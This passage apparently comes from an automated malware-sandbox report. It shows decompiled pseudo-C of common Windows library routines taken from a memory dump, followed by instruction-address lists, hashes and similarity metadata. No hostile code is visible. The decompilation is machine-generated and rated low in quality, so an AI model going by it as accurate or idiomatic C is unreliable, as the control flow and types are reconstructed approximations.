					if(( *(_t119 + 0x10) & 0x00000100) == 0) {
						if( *0x34c8708 != 0) {
							_t118 =  *0x7ffe0330;
							_t123 =  *0x34c7b00; // 0x0
							asm("ror esi, cl");
							 *0x34cb1e0(_v12, _v20, 0x20);
							_t93 =  *(_t123 ^  *0x7ffe0330)();
							_t50 = _t93 + 0x3ffffddb; // 0x3ffffddb
							asm("sbb esi, esi");
							_t120 =  ~_t50 & _t93;
						} else {
							_t120 = 0;
						}
					}
					if( !_t120 >= 0) {
						L19:
						_push( *_t105);
						E034195D0();
						 *_t105 =  *_t105 & 0x00000000;
						goto L20;
					}
					_t120 = E033E7F65(_t119);
					if( *((intOrPtr*)(_t119 + 0x60)) != 0) {
						__eflags = _t120;
						if(_t120 < 0) {
							goto L19;
						}
						 *(_t119 + 0x64) = _v12;
						goto L22;
					}
					goto L19;
				}
			}

0x034003f1
0x034003f7
0x034003f9
0x034003fb
0x034003fd
0x03400400
0x0340040a
0x03444c7a
0x03400537
0x03400547
0x03400410
0x03400410
0x03400414
0x03400417
0x0340041a
0x03400421
0x03400424
0x0340042b
0x0340043b
0x0340043e
0x0340043f
0x0340043f
0x03400446
0x03400449
0x0340044c
0x0340044f
0x03400459
0x03444c8d
0x0340045f
0x0340045f
0x0340045f
0x03400467
0x03444c97
0x03444c9d
0x03444ca4
0x03444caa
0x03444caf
0x03444cb1
0x03444cc3
0x03444cb3
0x03444cbc
0x03444cbc
0x03444cc8
0x03444ccb
0x03444cd7
0x03444cda
0x03444cdf
0x03444cdf
0x03444ccb
0x03444ca4
0x0340046d
0x0340046f
0x0340046f
0x03400471
0x03400476
0x0340047a
0x0340047b
0x03400483
0x03400489
0x0340048d
0x00000000
0x00000000
0x03444ce9
0x03444cef
0x03444d22
0x03444d22
0x00000000
0x03444d22
0x03444cf1
0x03444cf7
0x00000000
0x00000000
0x03444cf9
0x03444cff
0x00000000
0x00000000
0x03444d05
0x03444d07
0x00000000
0x00000000
0x03444d0d
0x03444d0f
0x03444d14
0x03444d16
0x00000000
0x00000000
0x03444d1c
0x03444d1c
0x03400499
0x03400535
0x03400535
0x00000000
0x03400535
0x034004a6
0x03444d2c
0x03444d37
0x03444d39
0x03444d3b
0x00000000
0x00000000
0x03444d41
0x03444d48
0x03400527
0x0340052b
0x0340052d
0x03400530
0x03400530
0x00000000
0x0340052b
0x03444d4e
0x034004ac
0x034004ac
0x034004af
0x034004b2
0x034004b7
0x034004b9
0x034004bb
0x034004bd
0x034004bf
0x034004c5
0x034004c9
0x03444d53
0x03444d59
0x03444db9
0x03444dba
0x03444dbf
0x03444dc2
0x03444dc4
0x03444dc7
0x03444dce
0x00000000
0x03444dce
0x03444d5b
0x03444d61
0x00000000
0x00000000
0x03444d63
0x03444d69
0x00000000
0x00000000
0x03444d6b
0x03444d6e
0x03444d74
0x03444d76
0x03444d7c
0x03444d7e
0x03444d84
0x03444d89
0x03444d8c
0x03444d8d
0x03444d92
0x03444d95
0x03444d96
0x03444d98
0x03444d9a
0x03444d9f
0x03444da4
0x03444da6
0x03444da8
0x03444daf
0x03444db1
0x03444db1
0x03444daf
0x03444da6
0x03444d84
0x03444d7c
0x00000000
0x03444d74
0x034004d6
0x03444de1
0x034004dc
0x034004dc
0x034004dc
0x034004e4
0x03444deb
0x03444df1
0x03444df8
0x03444dfe
0x03444e03
0x03444e05
0x03444e17
0x03444e07
0x03444e10
0x03444e10
0x03444e1c
0x03444e1f
0x03444e35
0x03444e35
0x03444e1f
0x03444df8
0x034004f1
0x034004fa
0x03444e3f
0x03444e47
0x03444e5b
0x03444e61
0x03444e67
0x03444e69
0x03444e71
0x03444e73
0x03400500
0x03400500
0x03400500
0x034004fa
0x03400508
0x0340051d
0x0340051d
0x0340051f
0x03400524
0x00000000
0x03400524
0x03400515
0x03400517
0x03444e7a
0x03444e7c
0x00000000
0x00000000
0x03444e85
0x00000000
0x03444e85
0x00000000
0x03400517

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2cf472d326d5e1c9254fe0e90304ade7e2a17aac897c4f03fcbf85ce1d07771
Instruction ID: 9b714cbf01a0f3b349980f0d9a2cc12c7700dedfcf972f07ce87edb33d4ae4a8
Opcode Fuzzy Hash: a2cf472d326d5e1c9254fe0e90304ade7e2a17aac897c4f03fcbf85ce1d07771
Instruction Fuzzy Hash: 1391F671F007549FEB21DAA9C844BAEBBA4AB05764F0A0277E920AF3D0D7749D00C78D

Uniqueness

Uniqueness Score: -1.00%

Function 033DC600, Relevance: .2, Instructions: 225
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E033DC600(intOrPtr _a4, intOrPtr _a8, signed int _a12, signed char _a16, intOrPtr _a20, signed int _a24) {
				signed int _v8;
				char _v1036;
				signed int _v1040;
				char _v1048;
				signed int _v1052;
				signed char _v1056;
				void* _v1058;
				char _v1060;
				signed int _v1064;
				void* _v1068;
				intOrPtr _v1072;
				void* _v1084;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t70;
				intOrPtr _t72;
				signed int _t74;
				intOrPtr _t77;
				signed int _t78;
				signed int _t81;
				void* _t101;
				signed int _t102;
				signed int _t107;
				signed int _t109;
				signed int _t110;
				signed char _t111;
				signed int _t112;
				signed int _t113;
				signed int _t114;
				intOrPtr _t116;
				void* _t117;
				char _t118;
				void* _t120;
				char _t121;
				signed int _t122;
				signed int _t123;
				signed int _t125;

				_t125 = (_t123 & 0xfffffff8) - 0x424;
				_v8 =  *0x34cd360 ^ _t125;
				_t116 = _a4;
				_v1056 = _a16;
				_v1040 = _a24;
				if(E033E6D30( &_v1048, _a8) < 0) {
					L4:
					_pop(_t117);
					_pop(_t120);
					_pop(_t101);
					return E0341B640(_t68, _t101, _v8 ^ _t125, _t114, _t117, _t120);
				}
				_t70 = _a20;
				if(_t70 >= 0x3f4) {
					_t121 = _t70 + 0xc;
					L19:
					_t107 =  *( *[fs:0x30] + 0x18);
					__eflags = _t107;
					if(_t107 == 0) {
						L60:
						_t68 = 0xc0000017;
						goto L4;
					}
					_t72 =  *0x34c7b9c; // 0x0
					_t74 = L033F4620(_t107, _t107, _t72 + 0x180000, _t121);
					_v1064 = _t74;
					__eflags = _t74;
					if(_t74 == 0) {
						goto L60;
					}
					_t102 = _t74;
					_push( &_v1060);
					_push(_t121);
					_push(_t74);
					_push(2);
					_push( &_v1048);
					_push(_t116);
					_t122 = E03419650();
					__eflags = _t122;
					if(_t122 >= 0) {
						L7:
						_t114 = _a12;
						__eflags = _t114;
						if(_t114 != 0) {
							_t77 = _a20;
							L26:
							_t109 =  *(_t102 + 4);
							__eflags = _t109 - 3;
							if(_t109 == 3) {
								L55:
								__eflags = _t114 - _t109;
								if(_t114 != _t109) {
									L59:
									_t122 = 0xc0000024;
									L15:
									_t78 = _v1052;
									__eflags = _t78;
									if(_t78 != 0) {
										L033F77F0( *( *[fs:0x30] + 0x18), 0, _t78);
									}
									_t68 = _t122;
									goto L4;
								}
								_t110 = _v1056;
								_t118 =  *((intOrPtr*)(_t102 + 8));
								_v1060 = _t118;
								__eflags = _t110;
								if(_t110 == 0) {
									L10:
									_t122 = 0x80000005;
									L11:
									_t81 = _v1040;
									__eflags = _t81;
									if(_t81 == 0) {
										goto L15;
									}
									__eflags = _t122;
									if(_t122 >= 0) {
										L14:
										 *_t81 = _t118;
										goto L15;
									}
									__eflags = _t122 - 0x80000005;
									if(_t122 != 0x80000005) {
										goto L15;
									}
									goto L14;
								}
								__eflags =  *((intOrPtr*)(_t102 + 8)) - _t77;
								if( *((intOrPtr*)(_t102 + 8)) > _t77) {
									goto L10;
								}
								_push( *((intOrPtr*)(_t102 + 8)));
								_t59 = _t102 + 0xc; // 0xc
								_push(_t110);
								L54:
								E0341F3E0();
								_t125 = _t125 + 0xc;
								goto L11;
							}
							__eflags = _t109 - 7;
							if(_t109 == 7) {
								goto L55;
							}
							_t118 = 4;
							__eflags = _t109 - _t118;
							if(_t109 != _t118) {
								__eflags = _t109 - 0xb;
								if(_t109 != 0xb) {
									__eflags = _t109 - 1;
									if(_t109 == 1) {
										__eflags = _t114 - _t118;
										if(_t114 != _t118) {
											_t118 =  *((intOrPtr*)(_t102 + 8));
											_v1060 = _t118;
											__eflags = _t118 - _t77;
											if(_t118 > _t77) {
												goto L10;
											}
											_push(_t118);
											_t56 = _t102 + 0xc; // 0xc
											_push(_v1056);
											goto L54;
										}
										__eflags = _t77 - _t118;
										if(_t77 != _t118) {
											L34:
											_t122 = 0xc0000004;
											goto L15;
										}
										_t111 = _v1056;
										__eflags = _t111 & 0x00000003;
										if((_t111 & 0x00000003) == 0) {
											_v1060 = _t118;
											__eflags = _t111;
											if(__eflags == 0) {
												goto L10;
											}
											_t42 = _t102 + 0xc; // 0xc
											 *((intOrPtr*)(_t125 + 0x20)) = _t42;
											_v1048 =  *((intOrPtr*)(_t102 + 8));
											_push(_t111);
											 *((short*)(_t125 + 0x22)) =  *((intOrPtr*)(_t102 + 8));
											_push(0);
											_push( &_v1048);
											_t122 = E034113C0(_t102, _t118, _t122, __eflags);
											L44:
											_t118 = _v1072;
											goto L11;
										}
										_t122 = 0x80000002;
										goto L15;
									}
									_t122 = 0xc0000024;
									goto L44;
								}
								__eflags = _t114 - _t109;
								if(_t114 != _t109) {
									goto L59;
								}
								_t118 = 8;
								__eflags = _t77 - _t118;
								if(_t77 != _t118) {
									goto L34;
								}
								__eflags =  *((intOrPtr*)(_t102 + 8)) - _t118;
								if( *((intOrPtr*)(_t102 + 8)) != _t118) {
									goto L34;
								}
								_t112 = _v1056;
								_v1060 = _t118;
								__eflags = _t112;
								if(_t112 == 0) {
									goto L10;
								}
								 *_t112 =  *((intOrPtr*)(_t102 + 0xc));
								 *((intOrPtr*)(_t112 + 4)) =  *((intOrPtr*)(_t102 + 0x10));
								goto L11;
							}
							__eflags = _t114 - _t118;
							if(_t114 != _t118) {
								goto L59;
							}
							__eflags = _t77 - _t118;
							if(_t77 != _t118) {
								goto L34;
							}
							__eflags =  *((intOrPtr*)(_t102 + 8)) - _t118;
							if( *((intOrPtr*)(_t102 + 8)) != _t118) {
								goto L34;
							}
							_t113 = _v1056;
							_v1060 = _t118;
							__eflags = _t113;
							if(_t113 == 0) {
								goto L10;
							}
							 *_t113 =  *((intOrPtr*)(_t102 + 0xc));
							goto L11;
						}
						_t118 =  *((intOrPtr*)(_t102 + 8));
						__eflags = _t118 - _a20;
						if(_t118 <= _a20) {
							_t114 =  *(_t102 + 4);
							_t77 = _t118;
							goto L26;
						}
						_v1060 = _t118;
						goto L10;
					}
					__eflags = _t122 - 0x80000005;
					if(_t122 != 0x80000005) {
						goto L15;
					}
					L033F77F0( *( *[fs:0x30] + 0x18), 0, _t102);
					L18:
					_t121 = _v1060;
					goto L19;
				}
				_push( &_v1060);
				_push(0x400);
				_t102 =  &_v1036;
				_push(_t102);
				_push(2);
				_push( &_v1048);
				_push(_t116);
				_t122 = E03419650();
				if(_t122 >= 0) {
					__eflags = 0;
					_v1052 = 0;
					goto L7;
				}
				if(_t122 == 0x80000005) {
					goto L18;
				}
				goto L4;
			}

0x033dc608
0x033dc615
0x033dc625
0x033dc62d
0x033dc635
0x033dc640
0x033dc680
0x033dc687
0x033dc688
0x033dc689
0x033dc694
0x033dc694
0x033dc642
0x033dc64a
0x033dc697
0x03447a25
0x03447a2b
0x03447a2e
0x03447a30
0x03447bea
0x03447bea
0x00000000
0x03447bea
0x03447a36
0x03447a43
0x03447a48
0x03447a4c
0x03447a4e
0x00000000
0x00000000
0x03447a58
0x03447a5a
0x03447a5b
0x03447a5c
0x03447a5d
0x03447a63
0x03447a64
0x03447a6a
0x03447a6c
0x03447a6e
0x034479cb
0x034479cb
0x034479ce
0x034479d0
0x03447a98
0x03447a9b
0x03447a9b
0x03447a9e
0x03447aa1
0x03447bbe
0x03447bbe
0x03447bc0
0x03447be0
0x03447be0
0x03447a01
0x03447a01
0x03447a05
0x03447a07
0x03447a15
0x03447a15
0x03447a1a
0x00000000
0x03447a1a
0x03447bc2
0x03447bc6
0x03447bc9
0x03447bcd
0x03447bcf
0x034479e6
0x034479e6
0x034479eb
0x034479eb
0x034479ef
0x034479f1
0x00000000
0x00000000
0x034479f3
0x034479f5
0x034479ff
0x034479ff
0x00000000
0x034479ff
0x034479f7
0x034479fd
0x00000000
0x00000000
0x00000000
0x034479fd
0x03447bd5
0x03447bd8
0x00000000
0x00000000
0x03447ba9
0x03447bac
0x03447bb0
0x03447bb1
0x03447bb1
0x03447bb6
0x00000000
0x03447bb6
0x03447aa7
0x03447aaa
0x00000000
0x00000000
0x03447ab2
0x03447ab3
0x03447ab5
0x03447aec
0x03447aef
0x03447b25
0x03447b28
0x03447b62
0x03447b64
0x03447b8f
0x03447b92
0x03447b96
0x03447b98
0x00000000
0x00000000
0x03447b9e
0x03447b9f
0x03447ba3
0x00000000
0x03447ba3
0x03447b66
0x03447b68
0x03447ae2
0x03447ae2
0x00000000
0x03447ae2
0x03447b6e
0x03447b72
0x03447b75
0x03447b81
0x03447b85
0x03447b87
0x00000000
0x00000000
0x03447b31
0x03447b34
0x03447b3c
0x03447b45
0x03447b46
0x03447b4f
0x03447b51
0x03447b57
0x03447b59
0x03447b59
0x00000000
0x03447b59
0x03447b77
0x00000000
0x03447b77
0x03447b2a
0x00000000
0x03447b2a
0x03447af1
0x03447af3
0x00000000
0x00000000
0x03447afb
0x03447afc
0x03447afe
0x00000000
0x00000000
0x03447b00
0x03447b03
0x00000000
0x00000000
0x03447b05
0x03447b09
0x03447b0d
0x03447b0f
0x00000000
0x00000000
0x03447b18
0x03447b1d
0x00000000
0x03447b1d
0x03447ab7
0x03447ab9
0x00000000
0x00000000
0x03447abf
0x03447ac1
0x00000000
0x00000000
0x03447ac3
0x03447ac6
0x00000000
0x00000000
0x03447ac8
0x03447acc
0x03447ad0
0x03447ad2
0x00000000
0x00000000
0x03447adb
0x00000000
0x03447adb
0x034479d6
0x034479d9
0x034479dc
0x03447a91
0x03447a94
0x00000000
0x03447a94
0x034479e2
0x00000000
0x034479e2
0x03447a74
0x03447a7a
0x00000000
0x00000000
0x03447a8a
0x03447a21
0x03447a21
0x00000000
0x03447a21
0x033dc650
0x033dc651
0x033dc656
0x033dc65c
0x033dc65d
0x033dc663
0x033dc664
0x033dc66a
0x033dc66e
0x034479c5
0x034479c7
0x00000000
0x034479c7
0x033dc67a
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f78303e3ce3414e80a31a9b6b2bbec5ed66101099ccfb6ab5ed7a93cfc30822d
Instruction ID: b77f3da0ec71bc9e36526773a3f0c76f9d80917f2e6ad742c0a2e70b1bbd7eca
Opcode Fuzzy Hash: f78303e3ce3414e80a31a9b6b2bbec5ed66101099ccfb6ab5ed7a93cfc30822d
Instruction Fuzzy Hash: 668190756446418FFB25CE14C880A6BBBA8FB84254F18487BED659F340D331ED46CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 0346B8D0, Relevance: .2, Instructions: 199
COMMON

Download Yara Rule

C-Code - Quality: 39%

			E0346B8D0(void* __edx, intOrPtr _a4, intOrPtr _a8, signed char _a12, signed int** _a16) {
				char _v8;
				signed int _v12;
				signed int _t80;
				signed int _t83;
				intOrPtr _t89;
				signed int _t92;
				signed char _t106;
				signed int* _t107;
				intOrPtr _t108;
				intOrPtr _t109;
				signed int _t114;
				void* _t115;
				void* _t117;
				void* _t119;
				void* _t122;
				signed int _t123;
				signed int* _t124;

				_t106 = _a12;
				if((_t106 & 0xfffffffc) != 0) {
					return 0xc000000d;
				}
				if((_t106 & 0x00000002) != 0) {
					_t106 = _t106 | 0x00000001;
				}
				_t109 =  *0x34c7b9c; // 0x0
				_t124 = L033F4620(_t109 + 0x140000,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t109 + 0x140000, 0x424 + (_a8 - 1) * 0xc);
				if(_t124 != 0) {
					 *_t124 =  *_t124 & 0x00000000;
					_t124[1] = _t124[1] & 0x00000000;
					_t124[4] = _t124[4] & 0x00000000;
					if( *((intOrPtr*)( *[fs:0x18] + 0xf9c)) == 0) {
						L13:
						_push(_t124);
						if((_t106 & 0x00000002) != 0) {
							_push(0x200);
							_push(0x28);
							_push(0xffffffff);
							_t122 = E03419800();
							if(_t122 < 0) {
								L33:
								if((_t124[4] & 0x00000001) != 0) {
									_push(4);
									_t64 =  &(_t124[1]); // 0x4
									_t107 = _t64;
									_push(_t107);
									_push(5);
									_push(0xfffffffe);
									E034195B0();
									if( *_t107 != 0) {
										_push( *_t107);
										E034195D0();
									}
								}
								_push(_t124);
								_push(0);
								_push( *((intOrPtr*)( *[fs:0x30] + 0x18)));
								L37:
								L033F77F0();
								return _t122;
							}
							_t124[4] = _t124[4] | 0x00000002;
							L18:
							_t108 = _a8;
							_t29 =  &(_t124[0x105]); // 0x414
							_t80 = _t29;
							_t30 =  &(_t124[5]); // 0x14
							_t124[3] = _t80;
							_t123 = 0;
							_t124[2] = _t30;
							 *_t80 = _t108;
							if(_t108 == 0) {
								L21:
								_t112 = 0x400;
								_push( &_v8);
								_v8 = 0x400;
								_push(_t124[2]);
								_push(0x400);
								_push(_t124[3]);
								_push(0);
								_push( *_t124);
								_t122 = E03419910();
								if(_t122 != 0xc0000023) {
									L26:
									if(_t122 != 0x106) {
										L40:
										if(_t122 < 0) {
											L29:
											_t83 = _t124[2];
											if(_t83 != 0) {
												_t59 =  &(_t124[5]); // 0x14
												if(_t83 != _t59) {
													L033F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t83);
												}
											}
											_push( *_t124);
											E034195D0();
											goto L33;
										}
										 *_a16 = _t124;
										return 0;
									}
									if(_t108 != 1) {
										_t122 = 0;
										goto L40;
									}
									_t122 = 0xc0000061;
									goto L29;
								} else {
									goto L22;
								}
								while(1) {
									L22:
									_t89 =  *0x34c7b9c; // 0x0
									_t92 = L033F4620(_t112,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t89 + 0x140000, _v8);
									_t124[2] = _t92;
									if(_t92 == 0) {
										break;
									}
									_t112 =  &_v8;
									_push( &_v8);
									_push(_t92);
									_push(_v8);
									_push(_t124[3]);
									_push(0);
									_push( *_t124);
									_t122 = E03419910();
									if(_t122 != 0xc0000023) {
										goto L26;
									}
									L033F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t124[2]);
								}
								_t122 = 0xc0000017;
								goto L26;
							}
							_t119 = 0;
							do {
								_t114 = _t124[3];
								_t119 = _t119 + 0xc;
								 *((intOrPtr*)(_t114 + _t119 - 8)) =  *((intOrPtr*)(_a4 + _t123 * 4));
								 *(_t114 + _t119 - 4) =  *(_t114 + _t119 - 4) & 0x00000000;
								_t123 = _t123 + 1;
								 *((intOrPtr*)(_t124[3] + _t119)) = 2;
							} while (_t123 < _t108);
							goto L21;
						}
						_push(0x28);
						_push(3);
						_t122 = E033DA7B0();
						if(_t122 < 0) {
							goto L33;
						}
						_t124[4] = _t124[4] | 0x00000001;
						goto L18;
					}
					if((_t106 & 0x00000001) == 0) {
						_t115 = 0x28;
						_t122 = E0346E7D3(_t115, _t124);
						if(_t122 < 0) {
							L9:
							_push(_t124);
							_push(0);
							_push( *((intOrPtr*)( *[fs:0x30] + 0x18)));
							goto L37;
						}
						L12:
						if( *_t124 != 0) {
							goto L18;
						}
						goto L13;
					}
					_t15 =  &(_t124[1]); // 0x4
					_t117 = 4;
					_t122 = E0346E7D3(_t117, _t15);
					if(_t122 >= 0) {
						_t124[4] = _t124[4] | 0x00000001;
						_v12 = _v12 & 0x00000000;
						_push(4);
						_push( &_v12);
						_push(5);
						_push(0xfffffffe);
						E034195B0();
						goto L12;
					}
					goto L9;
				} else {
					return 0xc0000017;
				}
			}

0x0346b8d9
0x0346b8e4
0x00000000
0x0346b8e6
0x0346b8f3
0x0346b8f5
0x0346b8f5
0x0346b8f8
0x0346b920
0x0346b924
0x0346b936
0x0346b939
0x0346b93d
0x0346b948
0x0346b9a0
0x0346b9a0
0x0346b9a4
0x0346b9bf
0x0346b9c4
0x0346b9c6
0x0346b9cd
0x0346b9d1
0x0346bad4
0x0346bad8
0x0346bada
0x0346badc
0x0346badc
0x0346badf
0x0346bae0
0x0346bae2
0x0346bae4
0x0346baec
0x0346baee
0x0346baf0
0x0346baf0
0x0346baec
0x0346bafb
0x0346bafc
0x0346bafe
0x0346bb01
0x0346bb01
0x00000000
0x0346bb06
0x0346b9d7
0x0346b9db
0x0346b9db
0x0346b9de
0x0346b9de
0x0346b9e4
0x0346b9e7
0x0346b9ea
0x0346b9ec
0x0346b9ef
0x0346b9f3
0x0346ba1b
0x0346ba1b
0x0346ba23
0x0346ba24
0x0346ba27
0x0346ba2a
0x0346ba2b
0x0346ba2e
0x0346ba30
0x0346ba37
0x0346ba3f
0x0346ba9c
0x0346baa2
0x0346bb13
0x0346bb15
0x0346baae
0x0346baae
0x0346bab3
0x0346bab5
0x0346baba
0x0346bac8
0x0346bac8
0x0346baba
0x0346bacd
0x0346bacf
0x00000000
0x0346bacf
0x0346bb1a
0x00000000
0x0346bb1c
0x0346baa7
0x0346bb11
0x00000000
0x0346bb11
0x0346baa9
0x00000000
0x00000000
0x00000000
0x00000000
0x0346ba41
0x0346ba41
0x0346ba41
0x0346ba58
0x0346ba5d
0x0346ba62
0x00000000
0x00000000
0x0346ba64
0x0346ba67
0x0346ba68
0x0346ba69
0x0346ba6c
0x0346ba6f
0x0346ba71
0x0346ba78
0x0346ba80
0x00000000
0x00000000
0x0346ba90
0x0346ba90
0x0346ba97
0x00000000
0x0346ba97
0x0346b9f5
0x0346b9f7
0x0346b9f7
0x0346b9fa
0x0346ba03
0x0346ba07
0x0346ba0c
0x0346ba10
0x0346ba17
0x00000000
0x0346b9f7
0x0346b9a6
0x0346b9a8
0x0346b9af
0x0346b9b3
0x00000000
0x00000000
0x0346b9b9
0x00000000
0x0346b9b9
0x0346b94d
0x0346b98f
0x0346b995
0x0346b999
0x0346b960
0x0346b967
0x0346b968
0x0346b96a
0x00000000
0x0346b96a
0x0346b99b
0x0346b99e
0x00000000
0x00000000
0x00000000
0x0346b99e
0x0346b951
0x0346b954
0x0346b95a
0x0346b95e
0x0346b972
0x0346b979
0x0346b97d
0x0346b97f
0x0346b980
0x0346b982
0x0346b984
0x00000000
0x0346b984
0x00000000
0x0346b926
0x00000000
0x0346b926

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62f0c41291573af354d698e73dd4ba1d509fdf1c120787fb8e40893b6885a982
Instruction ID: 088a948b6c6a61ac343c3b20317801ff4fe11145593de615238897a2aa7f60fc
Opcode Fuzzy Hash: 62f0c41291573af354d698e73dd4ba1d509fdf1c120787fb8e40893b6885a982
Instruction Fuzzy Hash: 3D710D36200B01AFD721DF16CC84F66BBE9EB40720F18452EE655DF6A0DB70E945CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 033D52A5, Relevance: .2, Instructions: 161
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E033D52A5(char __ecx) {
				char _v20;
				char _v28;
				char _v29;
				void* _v32;
				void* _v36;
				void* _v37;
				void* _v38;
				void* _v40;
				void* _v46;
				void* _v64;
				void* __ebx;
				intOrPtr* _t49;
				signed int _t53;
				short _t85;
				signed int _t87;
				signed int _t88;
				signed int _t89;
				intOrPtr _t101;
				intOrPtr* _t102;
				intOrPtr* _t104;
				signed int _t106;
				void* _t108;

				_t93 = __ecx;
				_t108 = (_t106 & 0xfffffff8) - 0x1c;
				_push(_t88);
				_v29 = __ecx;
				_t89 = _t88 | 0xffffffff;
				while(1) {
					E033EEEF0(0x34c79a0);
					_t104 =  *0x34c8210; // 0x2f81e90
					if(_t104 == 0) {
						break;
					}
					asm("lock inc dword [esi]");
					_t2 = _t104 + 8; // 0x28000000
					 *((intOrPtr*)(_t108 + 0x18)) =  *_t2;
					E033EEB70(_t93, 0x34c79a0);
					if( *((char*)(_t108 + 0xf)) != 0) {
						_t101 =  *0x7ffe02dc;
						__eflags =  *(_t104 + 0x14) & 0x00000001;
						if(( *(_t104 + 0x14) & 0x00000001) != 0) {
							L9:
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0x90028);
							_push(_t108 + 0x20);
							_push(0);
							_push(0);
							_push(0);
							_t10 = _t104 + 4; // 0x0
							_push( *_t10);
							_t53 = E03419890();
							__eflags = _t53;
							if(_t53 >= 0) {
								__eflags =  *(_t104 + 0x14) & 0x00000001;
								if(( *(_t104 + 0x14) & 0x00000001) == 0) {
									E033EEEF0(0x34c79a0);
									 *((intOrPtr*)(_t104 + 8)) = _t101;
									E033EEB70(0, 0x34c79a0);
								}
								goto L3;
							}
							__eflags = _t53 - 0xc0000012;
							if(__eflags == 0) {
								L12:
								_t11 = _t104 + 0xe; // 0xf81ea802
								_t13 = _t104 + 0xc; // 0x2f81e9d
								_t93 = _t13;
								 *((char*)(_t108 + 0x12)) = 0;
								__eflags = E0340F0BF(_t13,  *_t11 & 0x0000ffff, __eflags,  &_v28);
								if(__eflags >= 0) {
									L15:
									_t102 = _v28;
									 *_t102 = 2;
									 *((intOrPtr*)(_t108 + 0x18)) =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x24;
									E033EEEF0(0x34c79a0);
									__eflags =  *0x34c8210 - _t104; // 0x2f81e90
									if(__eflags == 0) {
										__eflags =  *((char*)(_t108 + 0xe));
										_t95 =  *((intOrPtr*)(_t108 + 0x14));
										 *0x34c8210 = _t102;
										_t32 = _t102 + 0xc; // 0x0
										 *_t95 =  *_t32;
										_t33 = _t102 + 0x10; // 0x0
										 *((intOrPtr*)(_t95 + 4)) =  *_t33;
										_t35 = _t102 + 4; // 0xffffffff
										 *((intOrPtr*)(_t95 + 8)) =  *_t35;
										if(__eflags != 0) {
											_t37 = _t104 + 0x10; // 0x2002f81e
											_t95 =  *((intOrPtr*)( *_t37));
											E03454888(_t89,  *((intOrPtr*)( *_t37)), __eflags);
										}
										E033EEB70(_t95, 0x34c79a0);
										asm("lock xadd [esi], eax");
										if(__eflags == 0) {
											_t38 = _t104 + 4; // 0x0
											_push( *_t38);
											E034195D0();
											L033F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t104);
											_t102 =  *((intOrPtr*)(_t108 + 0x10));
										}
										asm("lock xadd [esi], ebx");
										__eflags = _t89 == 1;
										if(_t89 == 1) {
											_t41 = _t104 + 4; // 0x0
											_push( *_t41);
											E034195D0();
											L033F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t104);
											_t102 =  *((intOrPtr*)(_t108 + 0x10));
										}
										_t49 = _t102;
										L4:
										return _t49;
									}
									E033EEB70(_t93, 0x34c79a0);
									asm("lock xadd [esi], eax");
									if(__eflags == 0) {
										_t25 = _t104 + 4; // 0x0
										_push( *_t25);
										E034195D0();
										L033F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t104);
										_t102 =  *((intOrPtr*)(_t108 + 0x10));
									}
									 *_t102 = 1;
									asm("lock xadd [edi], eax");
									if(__eflags == 0) {
										_t28 = _t102 + 4; // 0xffffffff
										_push( *_t28);
										E034195D0();
										L033F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t102);
									}
									continue;
								}
								_t15 = _t104 + 0x10; // 0x2002f81e
								_t93 =  &_v20;
								_t17 = _t104 + 0xe; // 0xf81ea802
								 *((intOrPtr*)(_t108 + 0x20)) =  *_t15;
								_t85 = 6;
								_v20 = _t85;
								_t87 = E0340F0BF( &_v20,  *_t17 & 0x0000ffff, __eflags,  &_v28);
								__eflags = _t87;
								if(_t87 < 0) {
									goto L3;
								}
								 *((char*)(_t108 + 0xe)) = 1;
								goto L15;
							}
							__eflags = _t53 - 0xc000026e;
							if(__eflags != 0) {
								goto L3;
							}
							goto L12;
						}
						__eflags = 0x7ffe02dc -  *((intOrPtr*)(_t108 + 0x14));
						if(0x7ffe02dc ==  *((intOrPtr*)(_t108 + 0x14))) {
							goto L3;
						} else {
							goto L9;
						}
					}
					L3:
					_t49 = _t104;
					goto L4;
				}
				_t49 = 0;
				goto L4;
			}

0x033d52a5
0x033d52ad
0x033d52b0
0x033d52b3
0x033d52b7
0x033d52ba
0x033d52bf
0x033d52c4
0x033d52cc
0x00000000
0x00000000
0x033d52ce
0x033d52d1
0x033d52d9
0x033d52dd
0x033d52e7
0x033d52f7
0x033d52f9
0x033d52fd
0x03430dcf
0x03430dd5
0x03430dd6
0x03430dd7
0x03430dd8
0x03430dd9
0x03430dde
0x03430ddf
0x03430de0
0x03430de1
0x03430de2
0x03430de2
0x03430de5
0x03430dea
0x03430dec
0x03430f60
0x03430f64
0x03430f70
0x03430f76
0x03430f79
0x03430f79
0x00000000
0x03430f64
0x03430df2
0x03430df7
0x03430e04
0x03430e04
0x03430e0d
0x03430e0d
0x03430e10
0x03430e1a
0x03430e1c
